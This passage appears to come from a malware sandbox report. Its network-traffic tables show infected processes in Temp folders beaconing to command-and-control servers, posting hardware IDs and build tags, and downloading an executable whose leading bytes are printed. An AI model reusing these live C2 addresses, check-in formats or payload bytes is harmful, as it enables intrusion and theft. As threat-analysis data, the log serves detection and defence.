r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 09:26:06.445985079 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49730	185.215.113.16	80	7688	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:06.567260027 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:07.308970928 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:07.311975002 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 09:26:07.559833050 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49731	185.215.113.19	80	7696	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:07.317022085 CEST	182	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 31 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000016001&unit=246122658369
Jul 27, 2024 09:26:08.059844971 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49732	185.215.113.16	80	7688	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:07.945513964 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:08.710450888 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:08.711117029 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 09:26:08.959918022 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49733	185.215.113.16	80	7696	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:08.068614006 CEST	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Jul 27, 2024 09:26:08.815423965 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:08 GMT Content-Type: application/octet-stream Content-Length: 3248128 Last-Modified: Sat, 27 Jul 2024 06:53:52 GMT Connection: keep-alive ETag: "66a49980-319000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 63 99 a4 66 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 c6 08 00 00 00 00 00 f8 81 af 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPELcf"@@ P@+\|NL0@@@@@@@Pb@.rsrcR@@y`(@.data""@
Jul 27, 2024 09:26:08.815459013 CEST	164	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2d 23 9f 2b 0f 52 c3 99 9f d6 6f f4 7c e4 3a f4 31 54 a5 38 a2 5d a6 4f 7e Data Ascii: -#+Ro\|:1T8]O~WA@vQ<6}:asIk8uiF`7w(K+!9-r%
Jul 27, 2024 09:26:08.815538883 CEST	1236	IN	Data Raw: d7 a9 ff 59 a2 9e 86 12 80 93 fc ee e4 42 f2 40 29 23 f4 13 87 b7 ab 83 3d c0 9c 85 e1 06 30 62 87 24 6c 70 83 68 82 10 e2 df 30 06 77 0b 76 ac bc 96 fd 39 2f c0 93 02 8d 3c eb dc 72 9f 6e b0 d8 e5 e7 bf 23 30 ec 08 5b 58 4a fb d2 f7 f7 a6 bc 46 Data Ascii: YB@)#=0b$lph0wv9/<rn#0[XJFI]OY!&fV'tl-;+e#PT<GtPktHTyTk~AF0}r.vCJr)Y0H*=dIf4+9T]sMagH{'W<e
Jul 27, 2024 09:26:08.815573931 CEST	1236	IN	Data Raw: d4 b9 28 06 4c ef 1f 70 af 80 a2 61 eb b4 95 44 59 48 f9 c0 65 5b 9b 7e 13 a7 87 64 5e 00 56 15 84 b6 08 43 54 b1 77 84 c1 e4 91 45 53 81 7a 18 bd 46 86 14 14 a4 37 80 46 79 00 07 ed 84 5c 92 d9 86 a5 5a b6 fa 77 87 71 e6 dc 7d e7 f4 60 11 53 3c Data Ascii: (LpaDYHe[~d^VCTwESzF7Fy\Zwq}`S<IaIRT_/ntqQvaac^p=r`Gm hXm_LSzW=e&Cd9^'PaZf6%u;kkTm:5F#M\jV$dBiK
Jul 27, 2024 09:26:08.815606117 CEST	328	IN	Data Raw: be 6a 8c 46 ef ab b4 84 1c a3 29 00 41 55 81 79 b5 a2 ba ab c5 c5 2a 4c af a7 26 99 f2 c1 fc 50 3e 08 c4 7b 8e 41 9e 79 c7 88 1c 77 3d 01 ed b4 0b e7 d6 f9 a2 4d 47 c4 ba c9 fe e8 36 4a 0b 0b e5 a9 92 c9 47 c0 9d 6f 74 74 8a 5b d1 30 35 56 79 01 Data Ascii: jF)AUyL&P>{Ayw=MG6JGott[05Vy8Ym=-yC&}~WK_:j=,m[Sq@_nHI2H`3J`!\|9\2`d{%nnt4?a&giBwL^y1XE94o'[<
Jul 27, 2024 09:26:08.815638065 CEST	1236	IN	Data Raw: 3c 3c 99 0e 19 cd 2c b6 41 19 03 50 13 eb 2c ee b2 17 95 16 fa 00 1b e2 03 d0 6f 25 ec 85 92 4a 03 13 15 f1 17 7c c9 b9 12 aa eb 61 74 ad cd c5 36 54 5c d6 7c 2f 78 e5 cd ba 69 ce 5e f4 ba 80 cf 56 af e2 99 79 cd 7b 1b 6f 58 bc 83 71 a8 2a 94 fc Data Ascii: <<,AP,o%J\|at6T\\|/xi^Vy{oXq*UO=l}}(3bX ):PG:Wq1%"OiqfM_%PP~1@`S=8\6>naF6T9d\<Sx)gSbQhv<=
Jul 27, 2024 09:26:08.815670967 CEST	1236	IN	Data Raw: 20 41 33 41 2c 17 b2 83 e7 1f 6c 61 1f f9 bf 78 58 ef 75 83 1f eb d2 e6 92 eb 90 d3 6c 50 bc 8f a0 d6 a8 aa 9c dc 98 ab 13 02 e2 97 5f 54 3f 91 40 23 a1 46 76 c0 da 91 88 48 ad ca b0 cb a0 a3 46 c9 50 2e b2 da 33 48 39 90 81 28 e1 2a 7f cf b6 eb Data Ascii: A3A,laxXulP_T?@#FvHFP.3H9(W`S'G#gM:tobWE`V5%1fpy^MEVc#_1S)opby$6&AtSC<.\ZJ=mEoJr=-5
Jul 27, 2024 09:26:08.815702915 CEST	1236	IN	Data Raw: 6b 13 ae 05 22 91 c2 52 7d 26 8a 64 b3 0f e0 be 81 6a f4 0a 0f 05 15 63 ea 34 9c 7c 0c 23 17 ee 15 3c 09 8d c3 31 13 32 08 e4 f3 79 3f 0e b0 61 4f c7 77 90 20 0d dd af 19 17 b7 25 e8 7d 4a 4d 41 92 86 b0 4a 0e 92 2e c0 c3 06 47 af d7 be 18 68 4a Data Ascii: k"R}&djc4\|#<12y?aOw %}JMAJ.GhJ=KXx.AT%PZ:a{x-vG-6m$!.@2F}A7\|!ZJ3*eUU@}X4L\en&:C
Jul 27, 2024 09:26:08.815733910 CEST	1236	IN	Data Raw: cc 69 70 b8 8a 86 a0 26 0c 7e 77 3c 10 e1 de bb 9e 8c 9b a5 67 14 7b f5 88 fa 78 b5 75 08 9a 52 a1 a4 f6 16 71 fe 11 eb ba cc 15 17 bf 61 18 7f 35 70 7f b4 c2 a3 b8 c5 f8 30 6e de 44 1b 54 c5 5a fe ee ae 68 52 62 ca 12 31 4e 83 e7 8d 82 4e a9 d6 Data Ascii: ip&~w<g{xuRqa5p0nDTZhRb1NN+XhRl@!7eLSS;z^Be85-c$8Xwo\|m`7ug\TyE?ms2;gD&9^FqB
Jul 27, 2024 09:26:08.815768957 CEST	656	IN	Data Raw: fa e8 78 60 23 a5 9c 22 69 f7 de 87 50 6b 61 cc c8 17 98 b9 37 eb 4e 95 3c 98 06 d3 ac 5d cf 63 64 f5 0d 27 fc a5 34 99 68 36 c7 43 16 21 4e c8 b4 be b2 6a e4 46 b7 ab 3c c8 f4 b3 bb cf 79 3b 7c c2 ce cd 20 62 c0 98 2d 96 75 28 43 48 e2 9f 3a 84 Data Ascii: x`#"iPka7N<]cd'4h6C!NjF<y;\| b-u(CH:+Np]<X/)a\V&'rF>al?)d&3'A4yTwKg{;=Ct9}/S0/^VhA;V(VX]yIn#B9'O\/oL{
Jul 27, 2024 09:26:08.820847034 CEST	1236	IN	Data Raw: f4 07 58 bf cf 0a 95 28 9c 98 3a 71 0d 54 f6 79 60 36 c5 41 cf b7 96 b0 4f 2c bc 2d 92 eb 71 71 0d 20 89 b0 0e d0 d3 37 bf 3b 42 d9 8e ae 1d 07 76 17 31 4d db 15 29 d5 1e ec a0 0d 70 ce c3 44 09 c4 71 47 95 31 5e 3c 1b 66 ef 02 77 e8 09 97 0f b1 Data Ascii: X(:qTy`6AO,-qq 7;Bv1M)pDqG1^<fwFO$Xy:lj[33^BnGQp{0hF+et\|K&-aYFTs?fb=SPZD/(YhXy#~n6pA5t}{m"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49734	85.28.47.31	80	8016	C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:08.321074963 CEST	86	OUT	GET / HTTP/1.1 Host: 85.28.47.31 Connection: Keep-Alive Cache-Control: no-cache
Jul 27, 2024 09:26:08.967998981 CEST	203	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 07:26:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 27, 2024 09:26:08.970151901 CEST	409	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGHIDAFCGIEHIEBFCFBA Host: 85.28.47.31 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 48 49 44 41 46 43 47 49 45 48 49 45 42 46 43 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 35 41 41 32 45 43 42 43 45 36 38 34 32 31 37 36 35 31 31 32 30 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 49 44 41 46 43 47 49 45 48 49 45 42 46 43 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 69 6c 61 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 49 44 41 46 43 47 49 45 48 49 45 42 46 43 46 42 41 2d 2d 0d 0a Data Ascii: ------DGHIDAFCGIEHIEBFCFBAContent-Disposition: form-data; name="hwid"25AA2ECBCE684217651120------DGHIDAFCGIEHIEBFCFBAContent-Disposition: form-data; name="build"sila------DGHIDAFCGIEHIEBFCFBA--
Jul 27, 2024 09:26:09.169815063 CEST	210	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 07:26:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49735	185.215.113.16	80	7688	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:09.066636086 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:09.831830978 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:09.832504034 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 09:26:10.118599892 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49737	185.215.113.16	80	7688	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:10.298434019 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:11.044172049 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:11.045874119 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 09:26:11.291393042 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49739	185.215.113.16	80	7688	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:11.410967112 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:12.183490038 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:12.197370052 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 09:26:12.448585033 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49740	185.215.113.19	80	7696	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:12.101270914 CEST	182	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 31 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000017001&unit=246122658369
Jul 27, 2024 09:26:12.851782084 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49741	185.215.113.16	80	7688	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:12.815860033 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:13.565205097 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:13.565857887 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 09:26:13.831598043 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49742	185.215.113.19	80	7696	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:12.985544920 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:13.831569910 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
